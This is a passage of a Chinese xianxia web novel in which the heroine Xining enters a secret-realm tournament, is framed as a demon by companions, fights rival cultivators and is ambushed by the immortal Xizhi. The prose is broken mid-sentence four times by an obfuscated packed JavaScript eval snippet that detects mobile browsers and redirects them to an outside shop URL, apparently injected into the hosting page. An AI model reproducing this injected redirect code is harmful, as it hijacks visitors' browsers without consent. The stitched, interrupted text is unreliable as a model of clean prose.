这狼妖怕不是认错了人,熙宁正当想着,身后传来敲门声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468803|201363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她将珠子收好,转身将门打开一条缝,探出半个脑袋,看见是宋景辰,这才将门完全打开。 “师兄。” 宋景辰今日换了一件衣服,但依旧是鲜艳的红色。他站在门口,目光在熙宁的脖颈处顿了顿:“没事吧?” 他方才就在走廊的另一头将一切都看在眼里,包括那枚被塞入熙宁手中的珠子。 “没事。”熙宁摇了摇头,侧身让他进来。 宋景辰进了屋,在桌边坐下,见熙宁杵在一旁欲言又止:“怎么了?” 熙宁:“是方才的狼妖,他塞了一个珠子给我。” 宋景辰接过珠子,只看了一眼便道:“千丝线,本命器的一种,往往能够绞杀敌人。我看这枚珠子呈银白色,光泽尚浅,说明它的器主修为不高,应当是个一境修士。” 他将珠子放回熙宁掌心,斜靠在椅子上,“这千丝线,我若猜得不错,便是隔壁那死人的本命器。” 熙宁瞪大了眼睛,顿觉手中的漂亮珠子有些烫手,她迟疑了一下:“你是说那狼妖杀了人,然后将夺来的本命器送给了我?” 宋景辰微微颔首。 “可他为什么要给我,说是因为什么饭钱,可我根本没帮过他啊?” 宋景辰眉毛一挑,原来昨天房间里的饭菜是被那狼妖偷吃了。昨天下午回来时,他以为是阿羬贪嘴偷吃了饭菜,还将她狠狠训了一顿。 “那狼妖与那修士有仇,杀了人后夺走的本命器,他自己身为妖族自然是用不了的。既然留着无用,扔了可惜,便趁手给你了。更何况你身上并无妖气,他自然以为你是人族。” 熙宁:“那狼妖呢,他后面会怎么样?” “他虽杀了人,但是那人族修士有错在先,从兽的契约只有主人死了才可解除,所以杀人实属无奈之举。清衡司估计会关他一阵子,确保他没有因杀人而变成盲獠的风险,便会放他出来了,只是他以后都再不能入人族地界。” 一听他会没事,熙宁便放下心。 宋景辰:“这千丝线他既然送给了你,你便收下吧,虽然你也无法与器结契,但终归也是一个杀器,卖了换点钱也是好的。” 熙宁一听有理,便将珠子放进腰带中,又拍了拍,确保不会掉出来。 “走吧,该去秘境了。” 宋景辰看了一眼时辰,扔给熙宁一个小布包。熙宁打开一看,发现里面是各种各样的符纸。 “不知道是阿羬从哪叼来的,”宋景辰咳嗽了一声,“送你了。” 熙宁“哦”了一声,吭哧吭哧将小布包斜挎着系好,又将斩龙刀背在背上,收起床上的灵笺,前前后后检查了一遍,确保没有遗漏,这才抬起头:“走吧。” 两人出了客栈,清晨的街坊已经有些人气,道路上往来的修士大多步履匆匆,三两结伴而行,朝着同一个方向而去。 参赛者只需通过报名点的传输阵法,便可进入秘境。熙宁赶到昨日的报名点时,不早不晚正好是卯时末。 宋景辰看着黑压压的人群,没由来的紧张起来:“记住,万事小心,切不可逞强。” 熙宁点了点头。 “去吧,我会一直等你回来。”宋景辰浅笑道。 熙宁深吸一口气,转身朝传输法阵中走去。没走几步,她回过头,宋景辰还站在原地,晨光落在他身上,为他镀上了一层柔光。阿羬也站在一旁,歪着头看她。 “我会平安回来的。”熙宁挥了挥手,轻声道。随后转身,头也不回地汇入了人群之中。 宋景辰看着熙宁进入阵法,脸上的笑意顿时收起,他示意阿羬先行离开,随后一个人走进了一条偏僻小巷。 “跟了这么久,还不现身吗?”宋景辰轻笑一声,一字一句道,“神使司的缉事卫。” 10. 初入秘境遇身份危机(一) 不妄山原是一座荒山。 这是由清衡司从无数荒山野岭中随手挑出来的一座,既无人气,也无灵气,甚至连个正经的名字也没有。“不妄”二字是由溪止起的,取“不妄为,不妄求”之意。 此刻,一千名参赛修士黑压压地挤在山脚下,三三两两聚成一团,交谈声不断。 人群中,一个叼着狗尾巴草的黑衣少年靠在山石上,百无聊赖地望着天。他的肩膀上趴着一只小蜘蛛,通体漆黑,只有小指甲盖的一半大。旁人若是不仔细看,估计都会以为这只是一枚用来装饰的黑色纽扣。 “那个叫熙宁的怎么回事?”常初低声抱怨,“说好提前一个时辰见面的,我们在报名点等了她这么久,人影都没见着。” 常岐微微侧头:“别说了,这里人多眼杂,免得让人发现你。” 常初果真没再开口,她看了看四周,叹了一口气便爬进了常岐的衣领里。 他们好不容易凑够一百两,所以只买了一个扳指,也就只有一个人能光明正大地进入秘境,另一个人则化成原形偷摸跟着。谁让她打赌输了,只能化成原形偷摸跟着的人自然是她了。 而他们二人此次参加潜龙斗会,就是冲着前十名的奖励去的。她如今时日无多,唯有续命丹可以延寿十年。 为了遮掩妖气,他们吃了屏息丸,也正是因为如此,他们在比赛时无法使用妖力,只能靠体术存活。 可如果真的对上什么猛兽或是遇上突发意外,他们肯定没有招架之力,所以还需要一个垫背的。 而预测榜上的倒数第一,熙宁,足够废物,正是最合适的人选。 常初想着想着又叹了口气,他们原本打算提前在熙宁身上存储些妖力,这样就算被发现了,也可以让旁人误以为熙宁才是妖, 若是发现不了,他们也能在秘境中偷偷使用妖力,怎么看都不亏,结果对方压根没有赴约。 她算是彻底败在那两个人身上了,一个害她输了比赛,一个不守时,还真是两个讨厌鬼。 常岐拍了拍衣领里的常初,随后拿出灵笺,发现熙宁发来了消息。今早没能在报名点等到她,他还以为对方后悔了。 【抱歉没能及时看到消息,我现在已经到了山脚下了,你在哪?】 常岐抬起头,目光越过人群,扫视了一圈,然后他注意到了一个少女。 她站在人群正中央,穿着一身鹅黄色的衣裳,很是明媚。她背着一个鼓鼓囊囊的小布包,正踮起脚尖四处张望。而引起常岐注意的,是少女背上的那把“斩龙刀”。 小蜘蛛爬了出来,微微露出一半的身体:“天呐,不会这么巧吧,熙宁就是昨天买刀的大冤种?” 常岐伸手将小蜘蛛抵了进去:“别出声。” 直觉告诉他,熙宁就是这个人。 他将狗尾巴草扔掉,大步越过人群,在少女身后站定。 “熙宁?”他试探着开口。 熙宁转过身,看见这熟悉的面孔,她先是愣了一下,随后反应过来:“你不是昨天卖刀的人吗,你、你该不会就是常初岐吧?” “是啊,巧。” 常岐瞥了一眼熙宁背上的刀,她好歹也是通过预选赛的修士,应当不至于昨日才配器。 也是,她修为如此之低,真正的本命器怕是收起来了,这把刀想必只是幌子。 两人又寒喧了几句,直至山巅之上传来一阵悠远的钟鸣。 常岐仰头看去:“是祭灵钟。” 方才还喧闹的人群瞬间安静了下来,所有人都不约而同地看向山顶,那里两道身影正凌空而立,是清衡司的仙官。 “潜龙斗会,现在开始,”李玉蓝停止敲击,“秘境已开,为期七天,取幻灵花最多者胜出,位列前十者可获得续命丹一枚。” “秘境之中,生死自负,”溪止接过话头,目光隔过人群落在熙宁身上,“若遇性命之危,捏碎扳指即可退出。” 话落,祭灵钟再次被敲响。 “铛——” 钟鸣响彻山野,众人面前凭空出现一道巨大的光门。人群骚动起来,有人率先冲了进去,身形没入光门,紧接着是第二个、第三个,越来越多的人涌了进去。 常岐伸出手握住熙宁的手腕,熙宁一愣,还没来得及开口,便被拉着往光门跑去。 “得紧攥着才行,不然进去之后会被分开。”常岐头也不回地说了一句。 两人一前一后冲进去,熙宁只觉眼前一花,再睁眼时面前已不是那片荒凉的山脚了。 密林,放眼望去到处都是参天大树,树冠遮天蔽日,只有星零几点的日光从叶隙中投下来。空中满是新雨过后的清香,偶尔传来几声鸟叫,在林中回荡。 常岐松开手,站在她身侧,警惕地扫视了一圈四周:“运气不错,周围没人。” 熙宁也松了一口气,然后开始打量周围的环境。 这密林还不至于密不透风,脚下是厚厚的落叶层,但奇怪的是树上依旧枝繁叶茂,也不知落叶是哪来的。周围的树木种类她大多不认识,只有几棵看着同歪脖子差不多,但它们可不会说话,只是普通的树。 “幻灵花长什么样子?”熙宁问道。 “幻灵花往往一枝开三朵,三朵花形态相似,但颜色不同,分别是红、黄、绿三色。据说不同颜色的幻灵花捏碎之后会有不同的幻觉,但具体是什么,还不清楚。” 熙宁点点头:“那我们开始吧。” 二人在密林中穿行,不到半个时辰,两人都已攒了七八朵幻灵花。熙宁跟在常岐身后,脚下的地势越来越高,树木变得稀疏,日光越来越亮,但落叶层却依旧很厚。 “这秘境可真大,我们走了这么久,都没有见到其他的参赛者。”熙宁道。 常岐刚要回应,便忽觉脚下一空。他低头一看,脚下的落叶层竟然是个陷阱,表面铺满枯叶,下面却是空的。 他往下坠去,熙宁眼疾手快一把拉住他的手腕,但她自己也没站稳,身后又有人踹了她一脚,整个人也跟着跌了下去。 两个人重重地摔进一个深坑。熙宁还好些,毕竟有常岐在下面垫着,她只沾了些泥土。而常岐则满身狼狈,手上也有些擦伤,衣领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468804|201363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处的小蜘蛛还被甩了出来,腹部有一道细小伤口,不断渗出血液。 常岐站起身,不动声色地示意常初爬远些,而后看向一旁的熙宁:“熙宁,你没事吧?” 熙宁拍了拍身上的泥土,刚要回应,便听见坑洞上方传来一道清脆的笑声:“岁岁,你看,我就说吧,总有傻子会送上门来。” 两个少女站在坑沿上,居高临下地看着坑底的两个人。左边的少女穿着一身碧绿衣裙,腰间悬着把长剑,面容娇俏,嘴角还挂着讥笑。右边被叫做岁岁的少女则是一身桃色系衣裙,手中握着柄长剑,正冷冷地打量着坑中的两个人。 常岐有些怒火,但他没有发作,只是抬起头:“用这些下三滥的手段有意思吗,不如报上姓名,我们正儿八经地打一场,如何?” 熙宁也仰头看去:“就是,敢不敢堂堂正正地比一场。” “好啊,”碧衣少女笑容更甚,“你听好了,我是南玄云栖山朝雾峰的首席弟子,我叫司徒翎。” “朝雾峰的首席弟子?”常岐从前到人族做生意时,倒是听闻过她的名字,据说也是一个修仙天才,离二境修士只差一步之遥,但是并不叫司徒翎,他看向碧衣少女,“可我怎么记得朝雾峰的首席弟子是叫亓官岁啊?” “你!”司徒翎脸上的笑容有些挂不住,“你是哪个犄角旮旯来的,都不看最新的告示吗,首席弟子早就换人了!” 司徒翎看了一眼身旁的人,随后又转头看向熙宁:“我没听错的话,他刚刚是叫你熙宁吧,那个预测榜上的倒数第一,怪不得这么笨,哈哈哈哈。” 熙宁皱了皱眉,质疑这个司徒翎身份的人又不是自己,怎么突然就开始嘲笑她了? 她抿了抿唇没有说话,而是看向司徒翎旁边一直不说话的姑娘,不知怎的,她心里总隐隐觉得有些不妙。 果然,下一秒那姑娘的脸色便沉了下来:“不对,我闻到了妖的血气味。” 此话一出,众人皆是一紧,常岐瞥了一眼熙宁的裙摆,常初已经爬了上去,伤口渗出的血气虽然淡,但遇上嗅觉敏锐的修士,足以暴露。 司徒翎也抬手握紧自己的剑,虽说亓官岁的修为骤跌,但她的嗅觉最是灵敏,不可能出错,这坑里的两人绝对有妖族。 亓官岁的目光在两人中来回扫视,最终停留在熙宁身上:“是你。” 常岐瞬间变得惊讶,他转过身不可置信地看向熙宁,声音中满是惶恐:“你、你竟是妖?” “我……”熙宁张了张嘴,不知道怎么解释,她不明白这姑娘是怎么察觉的,但她不能承认,“我不是。” “聒噪,”司徒翎不耐烦地掐了个法诀,将常岐从坑底拽出,“将幻灵花交出来,你就可以滚了。” 常岐连忙将身上的幻灵花悉数交出,随后头也不回地消失在了树林中。 “还算识相。” 司徒翎收起幻灵花,转身便见亓官岁已经拔出剑,裙摆在风中摇曳,她垂眸看着熙宁,目光中满是轻蔑。 “一只贱妖,”她声音不大,却字字清晰,“也配来参加潜龙斗会?” 11. 初入秘境遇身份危机(二) “还不现身吗,神使司的缉事卫。” 小巷内,宋景辰话音刚落,身后的空气骤然停滞,万千光线从四周聚拢,而后一道身影从光线中剥离而出。来人玄色劲装,面容冷峻,手握窄刃长剑,满身杀意。 “倒有几分能力,”成元青剑尖斜指地面,冷眼瞧过去,“既知道我的身份,便不必再费口舌。你是自己跟我走,还是要我动手?” 宋景辰转过身:“去何处?” “自然是回仙界,进神使司,听候发落。不过你一个私逃下界的罪仙,按律怕是要削去仙籍,打入畜生道。” “呵,”宋景辰轻笑一声,抬起眼,“可我不是罪仙。” 成元青已经没什么耐心,周身灵力暴涨,他抬起剑,破空而至。宋景辰没有唤出佩剑,那些小妖认不出,但缉事卫可一定能认出不染,他可不想暴露身份。 他迅速侧身避开,成元青手腕一转,第二招紧随其后。宋景辰只得以灵力裹住手指硬接一剑,一声闷响,他被震得后退一步,后背撞上墙壁,喉咙一阵腥甜。 成元青没有收手的意思,持剑挥去,宋景辰避无可避,双臂交叉挡在胸前,残存的灵力尽数灌注。剑刃劈下,护罩碎裂,他被劈得单膝跪地,吐出一口鲜血。 “还打吗,你可不是我的对手。”成元青收剑,剑尖低在他肩头。 宋景辰跪在地上,用手背擦去嘴角的鲜血:“还真是……” 好久没有这么狼狈了。 刚才的那一番打斗早已将宋景辰好不容易恢复的一点灵力耗尽,他迫切地希望不染剑现在就能修复,也不知道那熙宁的命数究竟何时才能到头。 “好一个缉事卫,被人当了刀使还不知道,”宋景辰早就想明白了,缉事卫能找到他定然不是巧合,而他唯一接触过的仙族就只有溪止了,他撩起袖口,“你看我的手臂上可有罪仙印记。” 成元青看去,那上面竟真的没有罪仙印记,他皱起眉:“怎么会这样?” 宋景辰慢慢站起身:“我早就说过了,我不是罪仙。” * “我不是妖。” 熙宁动用灵力,从坑底一跃而上,她又重复一遍,“我不是妖。” “还在狡辩,你身上的妖族血气可做不了假。”亓官岁与司徒翎对视一眼,默契地举剑朝熙宁斩来,两人一左一右夹击,剑光交错。 熙宁退无可退,她反手拔出背上的斩龙刀,浑身灵力悉数涌向刀身。她从没有实操过刀法,但她在灵笺上学过几招,无非是劈、扫、挡这几招。 刀剑相撞,火星四溅。 斩龙刀只是一把再普通不过的凡器,没有厉害的符文加持,但胜在厚实笨重,这一下将两人的剑都挡了下来。熙宁趁势后退半步,将刀衡在身前,警惕地盯着面前的两个少女。 司徒翎没想到熙宁还有还手之力,脸上闪过一丝意外,随即冷笑:“一把破铜烂铁罢了,也敢拿出来丢人现眼。” 她剑势一转,再次迎了上去。熙宁慌忙举刀去挡,但她刀法实在拙劣,这一刀力道是够了,角度却偏了几分。司徒翎的剑从刀尖擦过,在熙宁的肩头划开一道口子,鲜血喷涌,熙宁倒吸一口凉气,踉跄着后退。 然而,亓官岁可没给她喘息的机会,她的剑比司徒翎的更快更狠。熙宁来不及躲,只能将斩龙刀竖在胸前格挡。 剑尖刺在刀身上,巨大的力道震得熙宁眼前一黑,她半跪在地上,右手被剑意划得满是伤痕,斩龙刀上也出现一道裂痕。司徒翎看准时机一剑劈来,只听“咔嚓”一声,斩龙刀断成了两截。半截刀身飞出去插在泥地里,半截还握在熙宁手中。 “哼,装也不知道装得像点,拿了一把破刀便想伪装成人族修士,异想天开。”司徒翎嗤笑道,“遇见我们岁岁,你可有苦头吃了,她可最痛恨妖族了,是吧岁岁?” 亓官岁没有回应,只持剑逼来。熙宁扔下手中的半截斩龙刀,连忙去拿腰带里的那颗珠子。手中鲜血融入其中,一道银白色的光芒迸发,无数丝线从珠内喷涌而出,密密麻麻地朝司徒翎和亓官岁涌去。 司徒翎惊叫一声,那些丝线异常坚韧,瞬间便将她们二人缠了个结结实实。她想要挣脱,却发现越挣扎便越紧。 “原来是只蜘蛛精啊。”司徒翎咬牙切齿。 亓官岁低头看了看缠在身上的丝线,手中长剑一转,丝线应声断裂。但也只断了几根,很快更多的丝线涌了上来填补了缺口。 她盯着那些丝线看了片刻,忽然凝聚浑身灵力,猛地一剑劈下,丝线被尽数斩断。她拾起一根断裂的丝线仔细端详了一番:“这不是蛛丝,是千丝线。” 司徒翎一愣:“千丝线?这不是我们人族的本命器吗?” 妖族向来只能用刀、剑、鞭这些常用武器伪装成本命器,这千丝线可是只有完成初步配器的人才可使用得动。 亓官岁也不清楚,她的目光越过那些涌动的丝线,直直地落在熙宁身上,眉头紧皱:“怎么会这样?” 熙宁粗喘着气,半跪在地上,手中还握着那枚珠子,鲜血顺着指缝滴落,被银白色的光芒吞没。她缓缓站起身:“我早就说过了,我不是妖族。” 亓官岁盯着熙宁看了片刻,忽然发现方才浓烈的妖血味消失了。 还被困在一旁的司徒翎察觉到了亓官岁的异样:“岁岁,怎么了?” 亓官岁没有回答,但司徒翎已经有了答案,她有些不悦:“岁岁,你别告诉我,你识妖的本领该不会连同着修为一起,都没了吧?” “是我误判了,走吧。”亓官岁抬剑便要替司徒翎斩断丝线。 “用不着你。”司徒翎周身灵力瞬间暴涨,缠绕在身上的丝线断裂,她脱身而出,依旧一脸傲慢,“既然你不是妖族,把幻灵花交出来,我便让你走。” 千丝线被斩断,光芒也彻底暗了下去,熙宁知道自己的灵力几乎见了底,无法再次催动千丝线。而灵力见底也意味着她寿数将近,所以她已经无所畏惧了。 她将珠子放到包里,手已经悄悄地摸上了符纸:“比赛才刚开始,我还没找到幻灵花呢。” 司徒翎看了一眼熙宁鼓鼓囊囊的小布包:“你骗傻子呢?” 话落,她抬起剑,直刺向熙宁心口,“那你便去死吧。” 亓官岁已经来不及阻止:“司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468805|201363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徒翎,别冲动!” 熙宁下意识举起手中符纸,微弱的灵力注入其中,但符纸纹丝不动。 剑尖越来越近。 千钧一发之际,一道红影闪现至熙宁身前。 宋景辰徒手挡下了这一击。 剑划破他的掌心,鲜血顺着手腕滴落,他眉头微皱,很疼。但他仍咬着牙,装作很轻松的样子,将司徒翎连人带剑击退。 熙宁正闭着眼举着符纸,等了半天也没等到那一剑刺过来。她微睁开一只眼,低头发现自己毫发无伤,顿时欣喜地看着手上完好的符纸,丝毫没有觉得不对劲:“我竟然挡下了这一击,我也太厉害了吧!” 宋景辰本来同缉事卫过了几招就已经损耗巨大,现如今只是在强撑着,但他此刻却被熙宁的话气笑了:“希望你能抬头看看,真正厉害的人是谁?” 熙宁听见熟悉的声音先是一愣,才抬起头,看见身前站着的那道红色身影:“师兄,你怎么来了?” 宋景辰从容地走到她身侧:“怕你死了。” 才怪。 他原本在小巷子里同那个难缠的缉事卫打着呢,那人明知道了他不是罪仙,竟然还要抓他,说是没有通行令牌的都是可疑之人。 也幸好他被瞬移到了这里,都是一些一境的修士。若是他真被抓回了神使司,被认出身份,那他作为玄辰仙君的脸面可就丢光了。 熙宁则是更加觉得这位宋仙君很仁义,为了报她的救命之恩,竟然多次舍身救她。 司徒翎后退数步,被亓官岁从身后接住。她惊疑不定地看着眼前病怏怏的红衣男子,竟然可以毫不费力地挡下这一剑,她冷笑一声:“师兄?原来还有帮手,难怪这么硬气。” 亓官岁拉住司徒翎的手臂,低声道:“不要再纠缠了,我们走吧。” 面前的人实力不详,预测榜前排的人亓官岁都是认识的,所以此人怕是哪个散修大能的弟子,不想引起旁人注意,才在预选赛时收敛了实力。 司徒翎不甘心地看了一眼熙宁,她何时吃过这样的瘪,但找幻灵花要紧,她还是拽着亓官岁离开了。 不远处的上空,溪止正静静地看着这一切。 她手上握着灵笺,成元青正发来消息质问他究竟是什么人,怎么会平白无故地消失在眼前。 溪止没有回复,她一收到消息,第一时间就来找熙宁,果然看见了那个红衣少年舍身救人的一幕,她不禁起了些兴致:“可以闪现救人,有意思。” 她将灵笺收起,指尖凝聚一丝灵力,浸入到司徒翎的剑中。司徒翎正经过熙宁身边,突然右手被剑带着刺向熙宁手臂。 众人皆没反应过来,熙宁捂住被划伤的手臂,瞪着眼看向司徒翎:“怎么,还想打不成?” 司徒翎心里也是又惊又疑,但面上她不肯示弱,冷哼道:“看样子,本姑娘的剑也看不惯你。” 说罢,她拽起亓官岁,头也不回地离开了。 溪止垂眸看着宋景辰。 方才那一道不痛不痒的剑伤,他只是站在一旁,没有任何动作,看着熙宁被划伤。 溪止缓缓勾起唇角:“原来是这样。” 12. 不妄山虐杀(一) 历届潜龙斗会中,修士被猛兽吞噬的可能性大概有两成,被其他参赛者杀害的可能性则是五成。 往往到最后,只有两三百人能够生还,而这其中还有一些哪怕已经出了秘境,但是由于受的伤太重,过了几天没挨过去,又死了的修士。这样算下来,真正能够活下来的人大概只有百人。 潜龙斗会举办的初衷本是为了择选出优秀的修士,而不是为了让修士去送死,所以近两届才有了可以保命的扳指。 但效果似乎并没有很乐观,从上一届存活的人数来推测,恐怕今年依旧最多只能存活下来一半的人。 “求求你,放过我吧。”常岐跌坐在地上,看着面前身形魁梧的壮汉,低声哀求。 壮汉举着把大砍刀,见眼前人这么软弱,不禁嗤笑一声:“既然这么怕死,那就把幻灵花交出来,然后再自己捏碎扳指退出比赛,老子就放过你。” “退出比赛?”常岐重复了一遍,满眼泪水地望向对方,嘴角却扯出一个诡异的笑,“你做梦呢?” “噗——” 话落,鲜血溅了常岐一脸,壮汉瞪大眼睛直直地倒地,身后是拿着匕首的常初。 “哥,你有这本事不去唱戏可惜了。”常初将沾了血的匕首往袖口上随意擦了擦,又弯腰将壮汉身上的幻灵花悉数取走,“这人还真是,竟然有三十几朵幻灵花。” 常岐收起泪,站起身拍了拍身上的灰尘,将所有幻灵花接过收好,又看向常初被布料勒紧的腹部:“你的伤怎么样了?” “止住了,不会再有妖血味了。还是哥卜算得好,算出刚入秘境就会有一劫,否则没有那个垫背的,我们恐怕很难全身而退。” 常初是在打斗的时候趁乱逃跑的,估计那两个蠢货现在已经将熙宁杀死了。 常岐跨过尸体,围着常初转了一圈,确保身上没有其他伤口这才彻底放下心来,他将扳指递给常初:“这个你拿着,若是后面再遇到什么危险,好歹也能先从秘境脱身。” 常初惊奇地看了看递过来的扳指,又看了看常岐:“不是说打赌输了的人没有扳指吗,哥,你怎么突然这么好心,舍得把扳指给我?” “噢,我知道了。你该不会不是我哥吧,哪来的善魂,快从我哥身上下来。”常初右手并指摆出防御的架势,眯起一只眼探究地看向常岐。 “别闹了,”常岐拍开常初的右手,“毕竟你受了伤,你哥我也是很疼爱妹妹的,好吧。” 常初接过扳指:“还算你有良心。” “走吧,这里的幻灵花基本上都已经没了,去别处看看。”常岐牵过常初的手,带着她往前走去。 “对了哥,那个熙宁毕竟是因为我们才死的,我们要不要去为她收个尸啊?”常初问道,她想起第一次见面时,她还为熙宁治疗了伤口,没想到再见面就成了竞争对手,还让她去替死。 “小初,做坏事可不能心软,”常岐忽而沉声道,“太过善良有时候也是一种折磨。” 常初沉默了一会,乖乖应了一声:“知道了,哥。” 这边,熙宁见司徒翎真的走了,才彻底松下一口气。她低头注意到宋景辰的右手被剑划开了一道伤口,鲜血顺着他的手指往下淌 “你的手……”熙宁一把抓过他的手腕,翻过来看。 “没事,”宋景辰抽出手,一道灵力自他指尖溢出,原本很深的伤口瞬间痊愈。他低眸看向熙宁,“倒是你,才一会没见,怎么就伤成这样?” “她们想抢幻灵花,我灵力都快已经用完了,打不过她们。”熙宁垂眸,最后一句话是哽咽着说完的,想她从前也是仙考第一,也曾被人夸过天赋异禀,但现在谁也打不过。 “那你还要继续比赛吗?” “要。”熙宁点了点头,几乎没有犹豫。 人就是这样,但凡有一点生的希望,都不想错过,更何况她们野草在任何地方都可以肆意生长,她才不要给小草丢脸呢。 “好,退出比赛没什么丢人的……”宋景辰刚要下意识安慰,就反应过来熙宁说了什么,他几乎脱口而出,“你身体还吃得消?” 小草这么抗造吗? 说实话,他已经后悔让熙宁去参加比赛了,他直到刚才才反应过来,熙宁在比赛中遭遇危险的话,受苦受累的人不是他嘛。刚才要不是他反应快,那把致命的剑可是能要了他的命。 熙宁目光坚定:“能,师兄你不必担心我,我一定会好好的。” 宋景辰挤出一抹笑,他的佩剑一日不修复,他就没办法恢复修为。虽说他的灵脉可以存储并不断恢复些灵力,但根本不够用。就像刚才,昨夜好不容易恢复的微薄灵力,一会就用完了。 要是再这样下去,他迟早有一天得死在这些凡人的手中。不行,他得想个法子,尽早取出碎片。 “对了,师兄,你给我的符纸,为什么我使不出来啊?”熙宁将自己肩头和手臂的伤治疗好后,将手中的符纸递过去。 宋景辰收回思绪,心不在焉地接过:“这个呢是雷符,大概是你修为太低了,无法催动,看师兄给你露一手。” 熙宁瞬间瞪大眼睛,打算好好学习一番。只见宋景辰两指一并,将符纸夹在中间:“雷霆万钧,乾坤借法,降!” 符纸应声而燃。 熙宁赶紧捂住耳朵,然后,无事发生。 “师兄?”熙宁疑惑地喊了一声。 “符纸也是需要反应时间的。”宋景辰咳嗽一声,侧首道。 “师兄……”熙宁又弱弱地喊了一声。 “嗯?” “火烧到你手指了。” “嗯?!”宋景辰转头看去,连忙将符纸扔了,右手握拳,忍住没去看被灼伤的手指。 不疼,一点都不疼的。 宋景辰淡定地转过身,熙宁正眨着眼睛,歪头看他,他面无表情:“我就说阿羬叼来的符纸不靠谱,也不知道是哪个蠢货画的。” 其实是他自己画的。 “原来是符纸没用啊,”熙宁不疑有他,也笑嘻嘻道,“看来不是我修为太低的原因。” 宋景辰拍了拍手,“没事,师兄这就给你画几个有用的。” 他想了想,这符纸是他昨晚灵力充沛时画的,那时没考虑太多,画的都是高门槛符纸。现在两个人灵力都用光了,自然不足以催动这些符纸。 他从乾坤袋中掏出几张空白符纸,刚准备画几个简单的,却瞥见了熙宁已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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熙宁皱了皱眉,心跳莫名地很快。她攥紧胸前的布包带,深吸一口气,继续大步往前走。 歪脖子说过,若是一个人害怕时,那便背诵一些自己的英勇事迹来转移注意力。因为大多时候,都是自己吓自己。就算真的有人跟在身后要害你,他听见你的英勇事迹也早就吓跑了。 熙宁现在回想起来,觉得歪脖子说的句句真理。 她清了清嗓子,学着说书人的样子,嘴里开始念念有词:“话说本姑娘可是一个传奇人物,本人六岁配器,八岁孤身一人捣毁妖穴,十岁被一位散修大能收位亲传,此后仙途顺畅。这次要不是师父偏要我来,本姑娘才不会低调参加此等赛事!” 熙宁说着觉得还不到位,又补充道:“一个一个找幻灵花也太慢了,本姑娘真想杀几个人玩玩啊!” 一阵风吹过,熙宁觉得心里松快了不少。这时面前出现一小块空地,正中央还长着几株幻灵花。熙宁眼睛一亮,快步走过去,蹲下身准备采摘。 然后她的视线里出现了一双鞋子。 13. 不妄山虐杀(二) 她的视线里出现了一双鞋子。 白色的,用银线绣着云纹,鞋面很干净,不像是从落叶堆里走来的。 熙宁的手一顿。 视线上移,月白色的裙摆,纤细的腰身,一张清丽温婉的脸。 溪止站在她面前,垂眸看着她,嘴角挂着一抹淡淡的笑意。 “溪止仙君?”熙宁一愣,下意识想要站起身,一道灵力便从上方毫无预兆地压了下来,好像有一双无形的手按住她的肩膀,让她不得动弹。 “乖,别动。”溪止轻声道。 熙宁依旧保持蹲着的姿势,她还没反应过来,两道凌厉的刀气便精准地割开了她双腿膝盖处的皮肉。 熙宁闷哼一声,双腿一软,“扑通”一声结结实实地跪倒在了地上,鲜血不断地往外冒,浸染了裤腿。 “你,”熙宁抬头,瞪大眼睛看着溪止,眼中满是惊疑,“你要做什么?” 溪止依旧温婉地笑着,她蹲下身,几乎与熙宁平视,声音轻柔:“和你一样,想杀个人玩玩。” 熙宁瞳孔皱缩,她感觉眼前的溪止仙君很陌生,又或许她从未真正了解过她:“为、为什么?” “因为我讨厌你,”溪止抿着唇歪了歪头,像是在认真考虑措辞,“不,不是讨厌,可以说是恨。” 她伸出手,按在熙宁的肩头,指尖凝聚的灵力像针刺一样进入熙宁的皮肉,密密麻麻。熙宁咬紧牙关,没有叫出声,但额头的冷汗已经顺着脸颊流了下来。 “我在人间修炼了数百年,吃尽苦头,受尽白眼,才从一个普通的草木精修炼成仙。人人都说草木无法修炼,可我偏不信。我将根脉从土里拔起,血流了一天一夜,所有人都说我快死了,可我熬过来了。后来我真的成仙了,又努力了百年,才成为一个七品仙官。我原以为这一切付出都是值得的,可是我错了。” 溪止收回手,将指尖上沾染的血迹漫不经心地擦在熙宁的衣领上。 